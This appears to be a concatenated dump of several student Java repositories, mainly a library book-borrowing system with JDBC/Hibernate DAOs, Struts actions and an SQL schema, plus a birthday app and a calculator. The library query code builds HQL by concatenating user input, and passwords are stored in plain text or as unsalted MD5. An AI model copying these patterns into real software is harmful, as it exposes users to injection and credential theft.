st = conn.prepareStatement(sql);
st.setString(1, text);
rs = st.executeQuery();
if (rs.next()) {
user = new User();
user.setId(rs.getInt(1));
user.setUserName(rs.getString(2));
user.setPassword(rs.getString(3));
}
} catch (SQLException e) {
e.printStackTrace();
} finally {
JDBCUtils.colseAll(conn, st, rs);
}
return user;
}
/**
* 插入用户
*/
public int save(User user) {
String sql = "insert into `user`(`username`,`password`) values(?,?)";
try {
conn = JDBCUtils.getConnection();
st = conn.prepareStatement(sql);
st.setString(1, user.getUserName());
st.setString(2, user.getPassword());
int row = st.executeUpdate();
if (row == 1) {
return 1;
}
} catch (SQLException e) {
e.printStackTrace();
} finally {
JDBCUtils.colseAll(conn, st, rs);
}
return 0;
}
/**
* 更新密码
*/
public int update(String name, String pwd2) {
String sql = "update user set `password` = ? where `username` =?";
try {
conn = JDBCUtils.getConnection();
st = conn.prepareStatement(sql);
st.setString(1, pwd2);
st.setString(2, name);
int row = st.executeUpdate();
if (row == 1)
return 1;
} catch (SQLException e) {
e.printStackTrace();
} finally {
JDBCUtils.colseAll(conn, st, rs);
}
return 0;
}
/**
* 删除用户
*/
public int delete(int userid) {
String sql = "delete from `user` where `id` = ? ";
try {
conn = JDBCUtils.getConnection();
st = conn.prepareStatement(sql);
st.setInt(1, userid);
int row = st.executeUpdate();
if (row == 1)
return 1;
} catch (SQLException e) {
e.printStackTrace();
} finally {
JDBCUtils.colseAll(conn, st, rs);
}
return 0;
}
/**
* 查询所有用户
*/
public List<User> findAll() {
String sql = "select * from user";
List<User> lists = new ArrayList<User>();
User user = null;
try {
conn = JDBCUtils.getConnection();
st = conn.prepareStatement(sql);
rs = st.executeQuery();
while (rs.next()) {
user = new User();
user.setId(rs.getInt(1));
user.setUserName(rs.getString(2));
user.setPassword(rs.getString(2));
lists.add(user);
}
} catch (SQLException e) {
e.printStackTrace();
} finally {
JDBCUtils.colseAll(conn, st, rs);
}
return lists;
}
/**
* 将List转成数组
*/
public String[][] getArrayData(List<User> lists) {
String[][] data = new String[lists.size()][3];
for (int i = 0; i < lists.size(); i++) {
User user = lists.get(i);
data[i][0] = user.getId() + "";
data[i][1] = user.getUserName();
data[i][2] = user.getPassword();
}
return data;
}
}
<file_sep>/BookBorrow/src/top/vist/bookborrow/utils/JDBCUtils.java
package top.vist.bookborrow.utils;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
public class JDBCUtils {
/**
* mysql数据库 驱动程序包名:MySQL-connector-Java-x.x.xx-bin.jar
* 驱动程序类名: com.mysql.jdbc.Driver JDBC
* URL: jdbc:mysql://<host>:<port>/<database_name> 默认端口3306,如果服务器使用默认端口则port可以省略
* MySQL Connector/J
* Driver 允许在URL中添加额外的连接属性jdbc:mysql://<host>:<port>/<database_name>?property1=value1&property2=value2
*/
private static String dbDriver = "com.mysql.jdbc.Driver";
private static String url = "jdbc:mysql://localhost:3306/bookborrow?useUnicode=true&characterEncoding=utf-8";
private static String username = "root"; // 数据库用户名
private static String password = "<PASSWORD>"; // 数据库密码
private JDBCUtils() {
};
static {
/**
* 注册驱动
*/
try {
Class.forName(dbDriver);
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
/**
* 获取 Connection
*
* @throws SQLException
*/
public static Connection getConnection() throws SQLException {
return DriverManager.getConnection(url, username, password);
}
/**
* 释放资源
*/
public static void colseAll(Connection conn, Statement st, ResultSet rs) {
colseResultSet(rs);
colseStatement(st);
colseConnection(conn);
}
/**
* 释放 ResultSet
*/
public static void colseResultSet(ResultSet rs) {
if (rs != null) {
try {
rs.close();
} catch (SQLException e) {
e.printStackTrace();
}
}
rs = null;
}
/**
* 释放 Statement
*/
public static void colseStatement(Statement st) {
if (st != null) {
try {
st.close();
} catch (SQLException e) {
e.printStackTrace();
}
}
st = null;
}
/**
* 释放 Connection
*/
public static void colseConnection(Connection conn) {
if (conn != null) {
try {
conn.close();
} catch (SQLException e) {
e.printStackTrace();
}
}
conn = null;
}
}
<file_sep>/BookBorrow/SqlFile/bookborrow.sql
-- use bookborrow;
-- drop table if exists `reader`;
-- drop table if exists `readertype`;
-- drop table if exists `user`;
-- 读者类型表
create table if not exists `readertype`(
`id` int not null auto_increment,
`typename` varchar(20),
`maxborrownum` int ,
`limit` int ,
primary key(`id`)
);
-- 读者表
create table if not exists `reader`(
`readerid` char(8) not null,
`type` int ,
`name` varchar(20),
`age` int ,
`sex` char(4) ,
`phone` char(11),
`dept` varchar(20),
`regdate` date,
primary key(`readerid`),
foreign key(`type`) references readertype(`id`)
);
-- 用户表
create table if not exists `user`(
`id` int not null auto_increment,
`username` varchar(20),
`password` varchar(20),
primary key(`id`)
);
-- 图书类型表
create table if not exists `booktype`(
`id` int not null auto_increment,
`typename` varchar(30) ,
primary key(id)
);
-- 图书信息表
create table if not exists `book`(
`ISBN` char(10) not null,
`typeid` int ,
`bookname` varchar(30),
`author` varchar(30),
`publish` varchar(30),
`publishdate` date,
`publishnum` int,
`unitprice` double,
primary key(`ISBN`),
foreign key(`typeid`) references booktype(`id`)
);
-- 借阅表
create table if not exists `borrowbook`(
`id` bigint not null auto_increment,
`readerid` char(8) not null,
`ISBN` char(10) not null ,
`borrowdate` date ,
`returndate` date,
`fine` double,
primary key(`id`) ,
foreign key(`readerid`) references reader(`readerid`),
foreign key(`ISBN`) references book(`ISBN`)
);
-- use bookborrow;
-- insert into user(username,password) values("kirito","<PASSWORD>");
-- select * from user
| 27e4b23b446ad5ccb0132a9d89034d6abd8aef25 | [
"Markdown",
"Java",
"SQL"
] | 11 | Java | lk46/BookBorrow | 40429daf85a95eac81fc2e0bc8f5f1b1cffc0579 | bc4e42e2b36c4c63836cb0e18fd0af59691f61c3 |
refs/heads/master | <repo_name>FeketeSz96/MultiparadigmaaZH<file_sep>/src/main/java/com/example/birthay/BirthayApplication.java
package com.example.birthay;
import com.example.birthay.reader.BirthdayReader;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.CommandLineRunner;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.core.env.Environment;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Objects;
@SpringBootApplication
@Slf4j
public class BirthayApplication implements CommandLineRunner {
@Autowired
private Environment environment;
public static void main(String[] args) {
SpringApplication application = new SpringApplication(BirthayApplication.class);
application.setAddCommandLineProperties(false);
application.run(args);
}
@Override
public void run(String... args) {
Path birthdayFile = Paths.get(Objects.requireNonNull(environment.getProperty("birthdays")));
Path templateFile = Paths.get(Objects.requireNonNull(environment.getProperty("template")));
BirthdayReader.readAll(birthdayFile, templateFile);
}
}
| 14465566207b706244e77c9e12dfc6dc6964529a | [
"Java"
] | 1 | Java | FeketeSz96/MultiparadigmaaZH | bffc77fbc2df052929b9372aeaeff9dd9f2faea9 | 04089a9e9a4b1dc1f752492b04c56beee9511b21 |
refs/heads/master | <file_sep> public class Calculadora{
int x,y,soma,subtracao, multiplicacao;
float divisao;
public void soma(){
soma=(x+y);
System.out.println("A soma é " + this.soma);
}
public void subtracao(){
subtracao = (x-y);
System.out.println("A subtração é " + this.subtracao);
}
public void multiplicacao(){
multiplicacao = (x*y);
System.out.println("A multiplicação é " + this.multiplicacao);
}
public void divisao(){
divisao = (x/y);
System.out.println("A divisão é " + this.divisao);
}
public static void main (String [] args){
Calculadora calc1 = new Calculadora();
Calculadora calc2 = new Calculadora();
Calculadora calc3 = new Calculadora();
calc1.x = 6;
calc1.y = 2;
calc1.soma();
calc1.subtracao();
calc1.multiplicacao();
calc1.divisao();
calc2.x = 10;
calc2.y = 2;
calc2.soma();
calc2.subtracao();
calc2.multiplicacao();
calc2.divisao();
calc3.x = 15;
calc3.y = 2;
calc3.soma();
calc3.subtracao();
calc3.multiplicacao();
calc3.divisao();
}
}
<file_sep># lp2
arquivo
<file_sep>//Meu primeiro programa em java//
public class Programa1{
public static void main(string[]a){
}
}
| e410251761303324a22874c96397237446773c24 | [
"Markdown",
"Java"
] | 3 | Java | brunatobias/lp2 | 3b312635e118bccfd36f1285761c6152d68d9976 | f9d01d5437ba8c4be0c30bf7e04fa06996bf5593 |
refs/heads/master | <repo_name>YuHangZM/LibrarySystem-1<file_sep>/LibrarySystem/src/com/cc/library/dao/impl/BorrowDaoImpl.java
package com.cc.library.dao.impl;
import java.io.Serializable;
import java.sql.SQLException;
import java.util.List;
import org.hibernate.HibernateException;
import org.hibernate.Query;
import org.hibernate.Session;
import org.springframework.orm.hibernate3.HibernateCallback;
import org.springframework.orm.hibernate3.support.HibernateDaoSupport;
import com.cc.library.dao.BorrowDao;
import com.cc.library.domain.BackInfo;
import com.cc.library.domain.Book;
import com.cc.library.domain.BorrowInfo;
import com.cc.library.domain.PageBean;
import com.cc.library.domain.Reader;
public class BorrowDaoImpl extends HibernateDaoSupport implements BorrowDao{
/**
*
* @param hql传入的hql语句
* @param pageCode当前页
* @param pageSize每页显示大小
* @return
*/
public List doSplitPage(final String hql,final int pageCode,final int pageSize){
//调用模板的execute方法,参数是实现了HibernateCallback接口的匿名类,
return (List) this.getHibernateTemplate().execute(new HibernateCallback(){
//重写其doInHibernate方法返回一个object对象,
public Object doInHibernate(Session session)
throws HibernateException, SQLException {
//创建query对象
Query query=session.createQuery(hql);
//返回其执行了分布方法的list
return query.setFirstResult((pageCode-1)*pageSize).setMaxResults(pageSize).list();
}
});
}
@Override
public PageBean<BorrowInfo> findBorrowInfoByPage(int pageCode, int pageSize) {
PageBean<BorrowInfo> pb = new PageBean<BorrowInfo>(); //pageBean对象,用于分页
//根据传入的pageCode当前页码和pageSize页面记录数来设置pb对象
pb.setPageCode(pageCode);//设置当前页码
pb.setPageSize(pageSize);//设置页面记录数
List borrowInfoList = null;
try {
String sql = "SELECT count(*) FROM BorrowInfo";
List list = this.getSession().createQuery(sql).list();
int totalRecord = Integer.parseInt(list.get(0).toString()); //得到总记录数
pb.setTotalRecord(totalRecord); //设置总记录数
this.getSession().close();
//不支持limit分页
String hql= "from BorrowInfo";
//分页查询
borrowInfoList = doSplitPage(hql,pageCode,pageSize);
}catch (Throwable e1) {
e1.printStackTrace();
throw new RuntimeException(e1.getMessage());
}
if(borrowInfoList!=null && borrowInfoList.size()>0){
pb.setBeanList(borrowInfoList);
return pb;
}
return null;
}
@Override
public BorrowInfo getBorrowInfoById(BorrowInfo info) {
String hql= "from BorrowInfo b where b.borrowId=?";
List list = this.getHibernateTemplate().find(hql, info.getBorrowId());
if(list!=null && list.size()>0){
return (BorrowInfo) list.get(0);
}
return null;
}
@Override
public int addBorrow(BorrowInfo info) {
Integer integer = 0;
try{
this.getHibernateTemplate().clear();
//save方法返回的是Serializable接口,该结果的值就是你插入到数据库后新记录的主键值
Serializable save = this.getHibernateTemplate().save(info);
this.getHibernateTemplate().flush();
integer = (Integer)save;
}catch (Throwable e1) {
integer = 0;
e1.printStackTrace();
throw new RuntimeException(e1.getMessage());
}
return integer;
}
@Override
public List<BorrowInfo> getNoBackBorrowInfoByReader(Reader reader) {
String hql= "from BorrowInfo b where b.state=0 or b.state=1 or b.state=3 or b.state=4 and b.reader.readerId=? ";
List list = null;
try {
list = this.getHibernateTemplate().find(hql, reader.getReaderId());
}catch (Throwable e) {
e.printStackTrace();
throw new RuntimeException(e.getMessage());
}
return list;
}
@Override
public BorrowInfo updateBorrowInfo(BorrowInfo borrowInfoById) {
BorrowInfo borrowInfo = null;
try{
this.getHibernateTemplate().clear();
//将传入的detached(分离的)状态的对象的属性复制到持久化对象中,并返回该持久化对象
borrowInfo = (BorrowInfo) this.getHibernateTemplate().merge(borrowInfoById);
this.getHibernateTemplate().flush();
}catch (Throwable e1) {
e1.printStackTrace();
throw new RuntimeException(e1.getMessage());
}
return borrowInfo;
}
@Override
public List<BorrowInfo> getBorrowInfoByNoBackState() {
String hql= "from BorrowInfo b where b.state=0 or b.state=1 or b.state=3 or b.state=4";
List<BorrowInfo> list = null;
try {
list = this.getHibernateTemplate().find(hql);
}catch (Throwable e) {
e.printStackTrace();
throw new RuntimeException(e.getMessage());
}
return list;
}
@Override
public List<BorrowInfo> getBorrowInfoByBook(Book book) {
String hql= "from BorrowInfo b where b.book.bookId=?";
List<BorrowInfo> list = null;
try{
list = this.getHibernateTemplate().find(hql, book.getBookId());
}catch (Throwable e) {
e.printStackTrace();
throw new RuntimeException(e.getMessage());
}
return list;
}
}
<file_sep>/LibrarySystem/src/com/cc/library/service/impl/BookTypeServiceImpl.java
package com.cc.library.service.impl;
import java.util.List;
import java.util.Set;
import com.cc.library.dao.BookTypeDao;
import com.cc.library.domain.Book;
import com.cc.library.domain.BookType;
import com.cc.library.domain.PageBean;
import com.cc.library.service.BookTypeService;
public class BookTypeServiceImpl implements BookTypeService{
private BookTypeDao bookTypeDao;
public void setBookTypeDao(BookTypeDao bookTypeDao) {
this.bookTypeDao = bookTypeDao;
}
@Override
public PageBean<BookType> findBookTypeByPage(int pageCode, int pageSize) {
return bookTypeDao.findBookTypeByPage(pageCode,pageSize);
}
@Override
public BookType getBookTypeByName(BookType bookType) {
return bookTypeDao.getBookTypeByName(bookType);
}
@Override
public boolean addBookType(BookType bookType) {
return bookTypeDao.addBookType(bookType);
}
@Override
public BookType getBookTypeById(BookType bookType) {
return bookTypeDao.getBookTypeById(bookType);
}
@Override
public BookType updateBookTypeInfo(BookType bookType) {
// TODO Auto-generated method stub
return bookTypeDao.updateBookTypeInfo(bookType);
}
@Override
public boolean deleteBookType(BookType bookType) {
return bookTypeDao.deleteBookType(bookType);
}
@Override
public PageBean<BookType> queryBookType(BookType bookType, int pageCode,
int pageSize) {
// TODO Auto-generated method stub
return bookTypeDao.queryBookType(bookType,pageCode,pageSize);
}
@Override
public BookType getBookType(BookType bookType) {
// TODO Auto-generated method stub
return bookTypeDao.getBookType(bookType);
}
@Override
public List<BookType> getAllBookTypes() {
// TODO Auto-generated method stub
return bookTypeDao.getAllBookTypes();
}
}
<file_sep>/LibrarySystem/test/com/cc/library/test/TestBack.java
package com.cc.library.test;
import java.util.List;
import org.hibernate.SessionFactory;
import org.hibernate.Transaction;
import org.hibernate.classic.Session;
import org.junit.Test;
import com.cc.library.dao.BackDao;
import com.cc.library.domain.BackInfo;
import com.cc.library.domain.BorrowInfo;
public class TestBack extends BaseSpring{
@Test
public void testSaveBack(){
SessionFactory sessionFactory = (SessionFactory)context.getBean("sessionFactory");
Session session = sessionFactory.openSession();
Transaction transaction = session.beginTransaction();
BackInfo backInfo = new BackInfo();
BorrowInfo borrowInfo = new BorrowInfo();
borrowInfo.setBorrowId(1);
backInfo.setBorrowInfo(borrowInfo);
backInfo.setBorrowId(1);
session.save(backInfo);
transaction.commit();
session.close();
}
@Test
public void testGetBack(){
SessionFactory sessionFactory = (SessionFactory)context.getBean("sessionFactory");
Session session = sessionFactory.openSession();
BackInfo back = (BackInfo) session.get(BackInfo.class, 4);
System.out.println(back);
session.close();
}
@Test
public void testGetBack2(){
SessionFactory sessionFactory = (SessionFactory)context.getBean("sessionFactory");
Session session = sessionFactory.openSession();
List list = session.createSQLQuery("select ba.borrowId from BackInfo ba ,BorrowInfo bo,Book bk,Reader r "
+"where ba.borrowId=bo.borrowId and Bk.bookId=Bo.bookId and bo.readerId=r.readerId "
+"and bk.ISBN like '%1%' and r.paperNO like '%1%'").list();
Object objects = list.get(0);
System.out.println(objects);
session.close();
}
}
<file_sep>/LibrarySystem/src/com/cc/library/service/BackService.java
package com.cc.library.service;
import com.cc.library.domain.BackInfo;
import com.cc.library.domain.PageBean;
import com.cc.library.domain.Reader;
public interface BackService {
public PageBean<BackInfo> findBackInfoByPage(int pageCode, int pageSize);
public BackInfo getBackInfoById(BackInfo backInfo);
public PageBean<BackInfo> queryBackInfo(String iSBN, String paperNO,int borrowId,int pageCode,int pageSize);
public int addBackInfo(BackInfo backInfo);
public PageBean<BackInfo> findMyBorrowInfoByPage(Reader reader,
int pageCode, int pageSize);
}
<file_sep>/LibrarySystem/src/com/cc/library/dao/impl/BookDaoImpl.java
package com.cc.library.dao.impl;
import java.sql.SQLException;
import java.util.List;
import org.hibernate.HibernateException;
import org.hibernate.Query;
import org.hibernate.Session;
import org.springframework.orm.hibernate3.HibernateCallback;
import org.springframework.orm.hibernate3.support.HibernateDaoSupport;
import com.cc.library.dao.BookDao;
import com.cc.library.domain.Book;
import com.cc.library.domain.BookType;
import com.cc.library.domain.PageBean;
public class BookDaoImpl extends HibernateDaoSupport implements BookDao{
/**
*
* @param hql传入的hql语句
* @param pageCode当前页
* @param pageSize每页显示大小
* @return
*/
public List doSplitPage(final String hql,final int pageCode,final int pageSize){
//调用模板的execute方法,参数是实现了HibernateCallback接口的匿名类,
return (List) this.getHibernateTemplate().execute(new HibernateCallback(){
//重写其doInHibernate方法返回一个object对象,
public Object doInHibernate(Session session)
throws HibernateException, SQLException {
//创建query对象
Query query=session.createQuery(hql);
//返回其执行了分布方法的list
return query.setFirstResult((pageCode-1)*pageSize).setMaxResults(pageSize).list();
}
});
}
@Override
public PageBean<Book> findBookByPage(int pageCode, int pageSize) {
PageBean<Book> pb = new PageBean<Book>(); //pageBean对象,用于分页
//根据传入的pageCode当前页码和pageSize页面记录数来设置pb对象
pb.setPageCode(pageCode);//设置当前页码
pb.setPageSize(pageSize);//设置页面记录数
List bookList = null;
try {
String sql = "SELECT count(*) FROM Book";
List list = this.getSession().createQuery(sql).list();
int totalRecord = Integer.parseInt(list.get(0).toString()); //得到总记录数
pb.setTotalRecord(totalRecord); //设置总记录数
this.getSession().close();
//不支持limit分页
String hql= "from Book";
//分页查询
bookList = doSplitPage(hql,pageCode,pageSize);
}catch (Throwable e1) {
e1.printStackTrace();
throw new RuntimeException(e1.getMessage());
}
if(bookList!=null && bookList.size()>0){
pb.setBeanList(bookList);
return pb;
}
return null;
}
@Override
public boolean addBook(Book book) {
boolean b = true;
try{
this.getHibernateTemplate().clear();
this.getHibernateTemplate().save(book);
this.getHibernateTemplate().flush();
}catch (Throwable e1) {
b = false;
e1.printStackTrace();
throw new RuntimeException(e1.getMessage());
}
return b;
}
@Override
public Book getBookById(Book book) {
String hql= "from Book b where b.bookId=? ";
List list = this.getHibernateTemplate().find(hql, book.getBookId());
if(list!=null && list.size()>0){
return (Book) list.get(0);
}
return null;
}
@Override
public Book updateBookInfo(Book updateBook) {
Book newBook = null;
try{
this.getHibernateTemplate().clear();
//将传入的detached(分离的)状态的对象的属性复制到持久化对象中,并返回该持久化对象
newBook = (Book) this.getHibernateTemplate().merge(updateBook);
this.getHibernateTemplate().flush();
}catch (Throwable e1) {
e1.printStackTrace();
throw new RuntimeException(e1.getMessage());
}
return newBook;
}
@Override
public PageBean<Book> queryBook(Book book, int pageCode, int pageSize) {
PageBean<Book> pb = new PageBean<Book>(); //pageBean对象,用于分页
//根据传入的pageCode当前页码和pageSize页面记录数来设置pb对象
pb.setPageCode(pageCode);//设置当前页码
pb.setPageSize(pageSize);//设置页面记录数
StringBuilder sb = new StringBuilder();
StringBuilder sb_sql = new StringBuilder();
String sql = "SELECT count(*) FROM Book b where 1=1";
String hql= "from Book b where 1=1";
sb.append(hql);
sb_sql.append(sql);
if(!"".equals(book.getISBN().trim())){
sb.append(" and b.ISBN like '%" + book.getISBN() +"%'");
sb_sql.append(" and b.ISBN like '%" + book.getISBN() +"%'");
}
if(!"".equals(book.getBookName().trim())){
sb.append(" and b.bookName like '%" +book.getBookName() +"%'");
sb_sql.append(" and b.bookName like '%" + book.getBookName() +"%'");
}
if(!"".equals(book.getPress())){
sb.append(" and b.press like '%" +book.getPress() +"%'");
sb_sql.append(" and b.press like '%" + book.getPress() +"%'");
}
if(!"".equals(book.getAutho().trim())){
sb.append(" and b.autho like '%" +book.getAutho() +"%'");
sb_sql.append(" and b.autho like '%" + book.getAutho() +"%'");
}
if(book.getBookType().getTypeId()!=-1){
sb.append(" and b.bookType="+book.getBookType().getTypeId());
sb_sql.append(" and b.bookType="+book.getBookType().getTypeId());
}
try{
List list = this.getSession().createQuery(sb_sql.toString()).list();
int totalRecord = Integer.parseInt(list.get(0).toString()); //得到总记录数
pb.setTotalRecord(totalRecord); //设置总记录数
this.getSession().close();
List<Book> bookList = doSplitPage(sb.toString(),pageCode,pageSize);
if(bookList!=null && bookList.size()>0){
pb.setBeanList(bookList);
return pb;
}
}catch (Throwable e1){
e1.printStackTrace();
throw new RuntimeException(e1.getMessage());
}
return null;
}
@Override
public boolean deleteBook(Book book) {
boolean b = true;
try{
this.getHibernateTemplate().clear();
this.getHibernateTemplate().delete(book);
this.getHibernateTemplate().flush();
}catch (Throwable e1){
b = false;
e1.printStackTrace();
throw new RuntimeException(e1.getMessage());
}
return b;
}
@Override
public Book getBookByISBN(Book book) {
String hql= "from Book b where b.ISBN=?";
List list = this.getHibernateTemplate().find(hql, book.getISBN());
if(list!=null && list.size()>0){
return (Book) list.get(0);
}
return null;
}
@Override
public int batchAddBook(List<Book> books,List<Book> failBooks) {
int success = 0;
for (int i = 0; i < books.size(); i++) {
try{
this.getHibernateTemplate().clear();
this.getHibernateTemplate().save(books.get(i));
this.getHibernateTemplate().flush();
success++;
}catch (Throwable e1) {
this.getHibernateTemplate().clear();
books.get(i).setISBN(books.get(i).getISBN() + "(可能已存在该图书)");
failBooks.add(books.get(i));
continue ;
}
}
return success;
}
@Override
public List<Book> findAllBooks() {
String hql= "from Book ";
List list = this.getHibernateTemplate().find(hql);
return list;
}
}
<file_sep>/LibrarySystem/src/com/cc/library/domain/Authorization.java
package com.cc.library.domain;
import java.io.Serializable;
public class Authorization implements Serializable{
private Integer aid; //管理员id
private Integer sysSet; //系统设置权限
private Integer readerSet; //读者设置权限
private Integer bookSet; //图书设置权限
private Integer typeSet; //图书分类设置权限
private Integer borrowSet; //借阅设置权限
private Integer backSet; //归还设置权限
private Integer forfeitSet; //逾期设置权限
private Integer superSet; //超级管理权限
private Admin admin;
public Admin getAdmin() {
return admin;
}
public void setAdmin(Admin admin) {
this.admin = admin;
}
public Integer getForfeitSet() {
return forfeitSet;
}
public void setForfeitSet(Integer forfeitSet) {
this.forfeitSet = forfeitSet;
}
public Integer getAid() {
return aid;
}
public void setAid(Integer aid) {
this.aid = aid;
}
public Integer getSysSet() {
return sysSet;
}
public void setSysSet(Integer sysSet) {
this.sysSet = sysSet;
}
public Integer getReaderSet() {
return readerSet;
}
public void setReaderSet(Integer readerSet) {
this.readerSet = readerSet;
}
public Integer getBookSet() {
return bookSet;
}
public void setBookSet(Integer bookSet) {
this.bookSet = bookSet;
}
public Integer getTypeSet() {
return typeSet;
}
public void setTypeSet(Integer typeSet) {
this.typeSet = typeSet;
}
public Integer getBorrowSet() {
return borrowSet;
}
public void setBorrowSet(Integer borrowSet) {
this.borrowSet = borrowSet;
}
public Integer getBackSet() {
return backSet;
}
public void setBackSet(Integer backSet) {
this.backSet = backSet;
}
public Integer getSuperSet() {
return superSet;
}
public void setSuperSet(Integer superSet) {
this.superSet = superSet;
}
public Authorization() {
}
}<file_sep>/LibrarySystem/src/com/cc/library/action/BorrowManageAction.java
package com.cc.library.action;
import java.io.IOException;
import java.util.List;
import java.util.Set;
import javax.servlet.http.HttpServletResponse;
import net.sf.json.JSONObject;
import net.sf.json.JsonConfig;
import net.sf.json.util.PropertyFilter;
import org.apache.struts2.ServletActionContext;
import com.cc.library.domain.Admin;
import com.cc.library.domain.Authorization;
import com.cc.library.domain.Book;
import com.cc.library.domain.BorrowInfo;
import com.cc.library.domain.PageBean;
import com.cc.library.domain.Reader;
import com.cc.library.domain.ReaderType;
import com.cc.library.service.BookService;
import com.cc.library.service.BorrowService;
import com.cc.library.service.ReaderService;
import com.cc.library.util.Md5Utils;
import com.opensymphony.xwork2.ActionSupport;
public class BorrowManageAction extends ActionSupport{
private BorrowService borrowService;
public void setBorrowService(BorrowService borrowService) {
this.borrowService = borrowService;
}
private int pageCode;
private int borrowId;
private String ISBN;
private String paperNO;
private String pwd;
public void setISBN(String iSBN) {
ISBN = iSBN;
}
public void setPaperNO(String paperNO) {
this.paperNO = paperNO;
}
public void setPwd(String pwd) {
this.pwd = pwd;
}
public void setBorrowId(Integer borrowId) {
this.borrowId = borrowId;
}
public void setPageCode(int pageCode) {
this.pageCode = pageCode;
}
/**
* 根据页码分页查询借阅信息
* @return
*/
public String findBorrowInfoByPage(){
//获取页面传递过来的当前页码数
if(pageCode==0){
pageCode = 1;
}
//给pageSize,每页的记录数赋值
int pageSize = 5;
PageBean<BorrowInfo> pb = borrowService.findBorrowInfoByPage(pageCode,pageSize);
if(pb!=null){
pb.setUrl("findBorrowInfoByPage.action?");
}
//存入request域中
ServletActionContext.getRequest().setAttribute("pb", pb);
return "success";
}
/**
* 根据借阅id查询该借阅信息
* @return
*/
public String getBorrowInfoById(){
HttpServletResponse response = ServletActionContext.getResponse();
response.setContentType("application/json;charset=utf-8");
BorrowInfo info = new BorrowInfo();
info.setBorrowId(borrowId);
BorrowInfo newInfo = borrowService.getBorrowInfoById(info);
JsonConfig jsonConfig = new JsonConfig();
jsonConfig.setJsonPropertyFilter(new PropertyFilter() {
public boolean apply(Object obj, String name, Object value) {
if(obj instanceof Authorization||name.equals("authorization") || obj instanceof Set || name.equals("borrowInfos")){
return true;
}else{
return false;
}
}
});
JSONObject jsonObject = JSONObject.fromObject(newInfo,jsonConfig);
try {
response.getWriter().print(jsonObject);
} catch (IOException e) {
throw new RuntimeException(e.getMessage());
}
return null;
}
/**
* 借阅处理
* @return
*/
public String borrowBook(){
//借阅的主要步骤
/*
* 1. 得到借阅的读者
*
* 2. 查看读者输入的密码是否匹配
* 2.1 如果不匹配提示 密码错误
* 2.2 如果匹配,执行第3步骤
*
* 3. 查看该读者的借阅信息
* 3.1 查看借阅信息的条数
* 3.2 查看该读者的类型得出该读者的最大借阅数量
* 3.3 匹配借阅的数量是否小于最大借阅量
* 3.3.1 小于,则可以借阅
* 3.3.2 大于,则不可以借阅,直接返回借阅数量已超过
* 3.4 查看读者的罚款信息,是否有未缴纳的罚款
* 3.4.1 如果没有,继续第3的操作步骤
* 3.4.2 如果有,直接返回有尚未缴纳的罚金
*
* 4. 查看借阅的书籍
* 4.1 查看该书籍的在馆数量是否大于1,,如果为1则不能借阅,必须留在馆内浏览
* 4.1.1 如果大于1,进入第4操作步骤
* 4.1.2 如果小于等于1,提示该图书为馆内最后一本,无法借阅
*
* 5. 处理借阅信息
* 5.1 得到该读者的最大借阅天数,和每日罚金
* 5.1.1 获得当前时间
* 5.1.2 根据最大借阅天数,计算出截止日期
* 5.1.3 为借阅信息设置每日的罚金金额
* 5.2 获得该读者的信息,为借阅信息设置读者信息
* 5.3 获得图书信息,为借阅信息设置图书信息
* 5.4 获得管理员信息,为借阅信息设置操作的管理员信息
*
* 6. 存储借阅信息
*
*/
BorrowInfo borrowInfo = new BorrowInfo();
Reader reader = new Reader();
reader.setPaperNO(paperNO);
reader.setPwd(Md5Utils.md5(pwd));
borrowInfo.setReader(reader);
Admin admin = (Admin) ServletActionContext.getContext().getSession().get("admin");
borrowInfo.setAdmin(admin);
Book book = new Book();
book.setISBN(ISBN);
borrowInfo.setBook(book);
int addBorrow = borrowService.addBorrow(borrowInfo);
try {
ServletActionContext.getResponse().getWriter().print(addBorrow);
} catch (IOException e) {
// TODO Auto-generated catch block
throw new RuntimeException(e.getMessage());
}
return null;
}
public String renewBook(){
//续借步骤:
/*
* 1. 得到借阅的记录
*
* 2. 得到借阅的记录的状态
* 2.1 如果已经是续借状态(包括续借未归还,续借逾期未归还),则返回已经续借过了,返回-2
* 2.2 如果是归还状态(包括归还,续借归还),则返回该书已还,无法续借,返回-1
* 2.3 如果都不是以上情况,则进行下一步。
*
* 3. 得到借阅的读者
*
* 4. 得到借阅的读者类型
*
* 5. 得到可续借的天数
*
* 6. 在当前记录的截止日期上叠加可续借天数
* 6.1 如果叠加后的时候比当前时间小,则返回你已超续借期了,无法进行续借,提示读者快去还书和缴纳罚金 返回-3
* 6.2如果大于当前时间进行下一步
*
* 7. 得到当前借阅记录的状态
* 7.1 如果当前记录为逾期未归还,则需要取消当前借阅记录的罚金记录,并将该记录的状态设置为续借未归还
* 7.2如果为未归还状态,直接将当前状态设置为续借未归还
*
* 8. 为当前借阅记录进行设置,设置之后重新update该记录 返回1
*/
BorrowInfo borrowInfo = new BorrowInfo();
borrowInfo.setBorrowId(borrowId);
int renewBook = borrowService.renewBook(borrowInfo);
try {
ServletActionContext.getResponse().getWriter().print(renewBook);
} catch (IOException e) {
// TODO Auto-generated catch block
throw new RuntimeException(e.getMessage());
}
return null;
}
}
<file_sep>/LibrarySystem/src/com/cc/library/action/BorrowAction.java
package com.cc.library.action;
import java.io.IOException;
import java.util.Set;
import javax.servlet.http.HttpServletResponse;
import net.sf.json.JSONObject;
import net.sf.json.JsonConfig;
import net.sf.json.util.PropertyFilter;
import org.apache.struts2.ServletActionContext;
import com.cc.library.domain.Authorization;
import com.cc.library.domain.BackInfo;
import com.cc.library.domain.BorrowInfo;
import com.cc.library.domain.PageBean;
import com.cc.library.domain.Reader;
import com.cc.library.service.BackService;
import com.cc.library.service.BorrowService;
import com.opensymphony.xwork2.ActionSupport;
public class BorrowAction extends ActionSupport{
private BackService backService;
public void setBackService(BackService backService) {
this.backService = backService;
}
private int pageCode;
private String ISBN;
private int borrowId;
public void setBorrowId(int borrowId) {
this.borrowId = borrowId;
}
public void setISBN(String iSBN) {
ISBN = iSBN;
}
public void setPageCode(int pageCode) {
this.pageCode = pageCode;
}
public String findMyBorrowInfoByPage(){
Reader reader = (Reader) ServletActionContext.getContext().getSession().get("reader");
//获取页面传递过来的当前页码数
if(pageCode==0){
pageCode = 1;
}
//给pageSize,每页的记录数赋值
int pageSize = 5;
